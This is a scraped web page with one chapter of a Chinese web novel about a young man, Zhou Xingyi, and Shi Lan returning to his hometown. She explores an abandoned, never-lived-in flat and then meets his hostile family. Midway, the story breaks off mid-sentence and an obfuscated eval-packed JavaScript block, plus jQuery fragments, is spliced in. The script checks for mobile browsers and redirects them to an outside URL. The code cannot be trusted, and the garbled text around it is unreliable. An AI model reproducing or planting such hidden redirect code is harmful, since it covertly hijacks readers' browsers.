默认冷灰
24号文字
方正启体

4. 2016(一)回到内县

作者:节能灯几号本书字数:K更新时间:
    因为正值石兰读高三的缘故,尽管周行一早早的放假休息,可还是在家中静候了两天,才等到石兰归来。次日清晨,二人便踏上了返回内县的动车之旅。


    周行一望着窗外的风景,那些此刻看似隽永,不出几秒就会被车轮抛在身后的景色,让他的思绪飘回从前。“以前在荆南读大学时,动车尚未开通,回家只能先坐大巴到外县,再转车;亦或是乘坐绿皮火车到前县,而后转乘大巴前往外县或内县。没想到前年刚毕业,动车就开通了。”


    石兰试图从哥哥的口中探知关于某个人的信息。自那次在詹星处听闻后,她还没有从哥哥的言语里听到过任何相关内容,仿佛那个人从未在他的生活中出现过。“哥,你该像立春姐那样休学一年,如此便能在大学里好好体验一番动车回家是什么感觉了。”


    听到石兰忽然提及的名字,周行一心中如遭千万根针刺扎一样。他转过头,看向石兰。此刻,石兰正竭力维持着表情的平和,不想让周行一察觉她平静话语下隐藏的痛苦。


    然而,周行一在情感问题上向来大大咧咧,他只会凭借本能去观察、思考和猜测。“你怎么知道的?我好像从未跟你提过。她今年大四,过完年三四月份就会出来实习,届时你就能见到她了。国庆节本有机会让你们碰面,可惜那时她父亲生病,她便回家了。假期最后一天她还来家里送东西,只是那时你早已回校。”


    “去年詹星姐送我回家时无意间说的。”或许觉得这番话不足以展现自己的风轻云淡,石兰末了又补充道,“当时我还以为很快就能见面,没想到要等这么久。”


    “好事多磨嘛。”周行一总是无法从语气和神色中洞察女孩子的心思。


    晚上九点左右,动车抵达内县。内县和外县这两个地方,冬季一半时间阴雨连绵,另一半多是阴天,太阳偶尔露个脸。不过,每天清晨漫山遍野的大雾,无论晴天、阴天还是雨天,从不缺席。


    此刻,天空如整个冬天一样,飘着毛毛细雨。所幸雨势不大,二人不至于太过狼狈。他们打了辆出租车前往汽车客运站,打算在附近找家酒店住一晚,次日一早搭乘客车回西桥。


    待两人从后备箱取出行李,看着出租车远去,石兰才小声问道:“哥,你都不问问价格就上车了?”


    回应她的却并非往日熟悉的语气,周行一一改平日温柔的温柔,冰冷中还带着一丝嫌弃:“问什么,我懒得跟这些内县人说话。”


    他的话让石兰犹如坠入冰窟,平日里那个温柔的哥哥,此刻竟以如此决绝的语气说出这番话。她不禁怀疑,他往日的善良与温柔是否都是伪装,对自己的好与耐心是否也只是假象。她不敢再想,只觉害怕与无助。


    但她明白,自己已别无选择,只能继续小心翼翼地跟在周行一身边。她早已深陷其中,无法回头,只能暗自祈祷,这只是周行一近乡情怯的表现。


    两人拖着行李箱,一连问了五家酒店,均被告知无房可住。“内县有这么多人吗?问了几家都满了。”周行一虽竭力掩饰,石兰还是听出了他语气中的鄙夷。


    接着,前台瞠目结舌地解释道:“兄弟,现在不敢呐,前几天县城发生两起强迫案件,公安局查得严,每晚十一二点都来查房。你们俩一起,我们实在没办法,谁会放着生意不做呢。”


    石兰有些体谅周行一了,她鼓起勇气质疑前台:“我们本来就开两个房间,我是他亲妹妹。”前台却不敢松口,只想赶紧打发他们这两座瘟神,:“那也不行,未成年除非有父母陪同,否则一律不行。”


    事已至此,似乎只能在大街上流浪一晚。这时,周行一又拦下一辆出租车。直到听到他喊自己的名字,石兰才发现他早已不见踪影。她应了一声,拉着行李箱小跑过去。


    幸好此次只打算待七天,两人仅带了一套换洗衣物,不然可就遭罪了。


    十几分钟后,出租车停在小区门口。周行一从怀中掏出一沓钱,抽出一张二十递给司机,然后一言不发地下了车。


    石兰小心翼翼地试探:“哥,你怎么都不问问价格的?”


    周行一语气还是冰冷且带着嫌弃:“问什么,我懒得跟这些内县人搭话。”


    她开始怀疑,他往日的善良与温柔是否都是伪装,对自己的好是否也只是假象。她满心恐惧与无助,却只能心怀忐忑地继续跟在他身后。


    小区大门虽有保安亭,但无需刷卡,人员可自由进出。二人一路畅通无阻,来到楼梯口时,石兰小声说道:“这小区看着好简易,跟我们在上海住的地方天差地别。还记得有次我们忘带门禁钥匙,跟保安纠缠半天,最后趁他们交接班溜进去,现在想来还觉得好笑。”


    “物业费差了好几倍呢,一分价钱一分货。不过现在倒方便了我们,不然还不知要折腾到什么时候。把箱子给我,幸好只在九楼,不然今晚可真要累坏了。”周行一的语气又恢复了往日的温柔,石兰不自觉地收起拉杆,将箱子递给了他。


    来到九楼的家门口,周行一从钱包里掏出钥匙,插入锁孔,门应声而开。


    “啊?”石兰心中诧异,原来他有家里的钥匙,却还要和自己去住宾馆。这几个月的相处,让她知道周行一有时行事有些神经质,会做出令人匪夷所思的举动,但像今天这般反常,还是头一遭。后来她才明白,这不过是个开胃菜,离谱的事情多了去了。


    周行一推开门,将行李放在门口,打开手机手电筒,朝房间走去。石兰能听到幽暗房间里鞋子与瓷砖摩擦的声响,随着刺耳的声音停止,房间一角亮了起来。接着,随着周行一走向门口,灯一盏盏地亮起。


    周行一走到门口,见石兰还站在门外发呆,便说道:“还站在外面干嘛?快进来。”


    “哦。”石兰这才从思绪中回过神来,轻声应答。看到门口鞋柜空空如也,她便将鞋子放在鞋柜上,穿着袜子进了屋。


    周行一看到石兰露出的白色袜子,赶忙说道:“你脱鞋干嘛?我都没脱,光脚容易感冒,快穿上,别把袜子弄脏了。”


    见石兰欲言又止,周行一明白她的疑惑,便解释道:“这里许久没人住,房间地板满是灰尘,鞋子比地板干净多了。明天早上直接走就行,反正一年可能就住这一次。”


    说完,周行一走进主卧,从衣柜里取出棉被和毛毯,指着旁边的次卧说:“你今晚就睡那个房间。要是觉得冷,就开空调。”


    “哥,你去哪?”石兰问道。


    “我去住酒店。你没发现就一床被子吗?”周行一补充道。


    “好吧,你小心点。”石兰深知有些话不能说,一旦说出口,就再无挽回的余地。她站在门口,默默看着周行一的身影消失在楼道中,听着脚步声渐渐模糊,直至完全消失。她轻轻关上门,先走到自己卧室的窗台,发现看不到楼下的情况。接着来到主卧,飘窗正好能看到小区入口。她关上门,熄灭灯光,掀起许久未动的窗帘一角,静静等待。


    她看着周行一步出一楼,穿过小区小花园,走出大门,走进旁边的小超市,逗留片刻后又出来。


    石兰看到周行一点燃香烟,一辆绿色出租车恰好驶来。他猛吸几口,将烟头丢在地上,用脚用力碾灭,然后打开后座车门,上了车。


    车渐渐消失在视线的尽头,她才缓缓放下窗帘,移步到床头柜旁,轻轻按下开关,柔和的灯光瞬间洒满房间。她环顾四周,房间里除了薄薄的一层灰尘,倒也干净整洁,但一种难以形容的压抑感却在心底悄然弥漫开来。


    凭借着直觉,她缓缓走到衣柜前,深吸一口气,随后轻轻拉开平开门。映入眼帘的是衣柜上层摆放着的两个尚未开封的被褥袋子,上面那几个鲜艳夺目的“囍”字格外醒目。


    接着,她又注意到衣柜的一角,有一个大大的相框,只是里面的相片已不见踪影,只剩下孤零零的相框静躺在那里。她打开衣柜里的夹柜,里面除了一本红本子,就只剩下几张照片。


    她轻轻拿起那些皱巴巴的照片,仔细辨认着。其中一张能看出是哥哥,而其他的照片上,只能模糊地看到是一个戴着眼镜的女孩子。她在衣柜里随意翻了翻,确保一切都维持着打开时的模样。


    随后,她打开床头柜,里面也有一些照片,还有一个不知道闲置了多少年的小灵通,后盖和电池都已不见。她一张一张地翻看照片,终于在细微之处发现了她想要的线索。虽然照片中的人没戴眼镜,但她能确定,这和衣柜里照片上的是同一个人。


    照片的背景应该是在操场,照片中的女孩留着齐刘海的学生头,头温柔地靠在哥哥的肩膀上,双手紧紧地拉着他的右手,脸上洋溢着幸福的笑容。而女孩旁边,还有另一个女孩子,同样是学生头,脸上虽也挂着一丝笑意,但那笑意却显得十分勉强,有一种皮笑肉不笑的感觉。


    她小心翼翼地将照片放回原位,然后走进卫生间,里面同样干净,只是落了一层灰尘,毛巾、洗漱用品一概不见踪影。


    她觉得在这个房间已没有继续寻找的价值,便打算去其他房间看看。她把整个房子简单地翻找了一遍,除了一个卫生间里的拖把,一无所获。整个房屋看上去装修精美,但明显从未有人长期居住过。所有窗户紧闭,厨具不见一个,冰箱、电视机和空调的电源线都未插上,客厅的沙发被一块灰布严严实实地盖着。


    她轻轻掀开盖在沙发上的灰布,满意地点了点头,这里是整个房屋里唯一没有灰尘的地方。她兴奋地去次卧抱来棉被,铺在沙发上,躺上去试了试,感觉十分惬意。接着,她去卫生间拿上拖把,把整个房间拖了一遍。


    她又将所有窗户大大敞开,然后惬意地躺在被窝里,看着自己的“杰作”,心情格外舒畅,于是闭上眼睛,伴着嗖嗖的冷风渐渐入睡。


    她没有手机,昨晚又疲惫不堪,直到小区外面汽车喇叭声震耳欲聋,她才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231292|197623||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恍惚间睁开眼睛。这时,她发现房间里有一个人正坐在旁边的沙发上,静静地盯着她。


    “哥,你别吓唬我好不好。这么早就来了,也不叫我一声。”


    “第一班车七点半就走了,只有十点那趟车了,时间还早,来得及。”周行一站起身,朝主卧走去,“茶几上是我买的包子和豆浆,你穿好衣服吃点,然后咱们就出发。”


    他看了看拖过的地板,又看到满是灰尘的柜门上那几个清晰的手印,床头柜上同样也有。他望向客厅,发现她正看着自己,四目相对的瞬间,她心虚地低下了头,随后又抬起头,带着幽怨的眼神看着他,那副做错事嘟着嘴求饶的模样,总是让他忍不住想笑。


    她的那些自以为是的小心思他又怎会猜不到,毕竟在自己面前她单纯得有些自以为是。他收回准备拉开床头柜的手,回到客厅,他知道无需多言,一切都已了然于心。


    他本以为她会问些什么,可直到登上回西桥的车,也没等到她的追问。


    大巴抵达西桥时已是下午两点半。周行一的家在西桥的镇上,望着窗外熟悉的景象,他不由自主地陷入了深深的忧虑中。客车经过家门口又向前行驶了一段距离,他才猛然反应过来,赶忙呼喊司机停车。


    两人拖着行李箱,一前一后往回走了好一会儿才到家。


    “哥,你刚才怎么回事?连自己家都不认识了。”


    他不知该如何向石兰解释自己的担忧,最后只能含糊地敷衍道:“等会儿你就知道了。”


    内县外县的乡镇大多是过路街,最初有传统留下来的乡镇政府驻地,随着社会发展,乡镇之间修建了主要公路,公路附近的村庄便把房屋建在公路两旁,有多少户人家,就有多少栋自建房。


    但这里基本没有就业机会,难以形成商业街区,只是镇内人口自然集中的地方。所以公路旁的自建房基本是一栋一户,一楼并非门面房,而是房屋入口,主要用于堆放杂物和停车。


    周行一回到家时,家里只有母亲和妹妹在。听到楼道里传来的脚步声,她们以为是亲戚来了,都望向门口。门打开后,先是看到周行一,过了两秒,又看到比他矮半个头的石兰。


    看到石兰,周行一母亲脸上的笑容瞬间消失。尤其是看到周行一手上没有行李箱,她意识到今年儿子不仅不住在家里,还得给这个“拖油瓶”做饭,这怎能不让她生气。


    周行一倒是毫不客气,径直走过来在妹妹旁边坐下,用手指了指身后的石兰,尽量平和地跟妹妹商量:“过年这几天和你姐姐一起睡,好不好?”


    周钰本以为一年没见的哥哥会像去年一样先给自己一个大红包,没想到却是来分自己房间的。她盯着哥哥看了半天,确定他没有任何表示后,起身就往自己房间走去。经过石兰时,她狠狠地瞪了一眼,眼神中满是轻蔑,甚至能听到她鼻孔里重重的吸气声。随后,她重重地关上房门,紧接着屋里传来了哭声。


    这一幕周行一母子早已习以为常,毕竟他们了解妹妹的性格。但这却把石兰吓得不轻,这家庭氛围实在是太诡异了,她低头捻着衣角糯糯地说到,“哥,我还是……”


    他没有理会,接着试图和母亲商量。母亲本就对突然多了个“拖油瓶”不满,一想到儿子不结婚让自己在街坊邻里面前抬不起头,现在又带个不清不楚的女孩子回来,更是觉得丢人,于是把问题抛回给周行一:“你去问你妹妹吧,她同意我就同意。”就目前的情况来看,周钰怎么可能同意。十三四岁的年纪正是叛逆期,现在去问无异于火上浇油。无奈之下,周行一只能看向石兰:“那这两天我带你去外县的酒店住吧。”


    周行一的母亲本以为两人都要去外县酒店住,听到只是石兰一个人去,心里顿时舒畅了不少:“你自己看着办吧。”


    于是,周行一去房间里取出车钥匙之后带她下了楼,掀开汽车车衣,打开引擎盖,接上电瓶,然后打开后备箱,把石兰的行李箱放了进去。


    “走吧,我们去外县找地方住。”他启动车子,向车外的妹妹说到。


    直到车子开出很远,石兰才从震惊中缓过神来:“哥,原来你的车和詹星姐的真的一样啊,她跟我说的时候我还不信呢。”


    “她还说什么了?”


    石兰沉默了许久,看着专心开车的哥哥,始终不敢开口。终于,在对面来了几辆车,哥哥停车让行的几秒钟里,她鼓足勇气说道:“她还说,你跟立春姐终归不是一路人,要趁早做了断,别到最后落得一地鸡毛。”


    对于詹星,周行一始终保持着若即若离的态度。这不仅因为她是老板的老婆,需要保持距离。自己是老板的员工,而非老板娘的下属。他知道,詹星确实是个不错的人,心思细腻,为人无可挑剔,这也是他一直没有和她闹僵的原因。


    他当然清楚自己和立春之间的差距,但他又怎会轻易放弃,他无法轻易认同詹星的话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)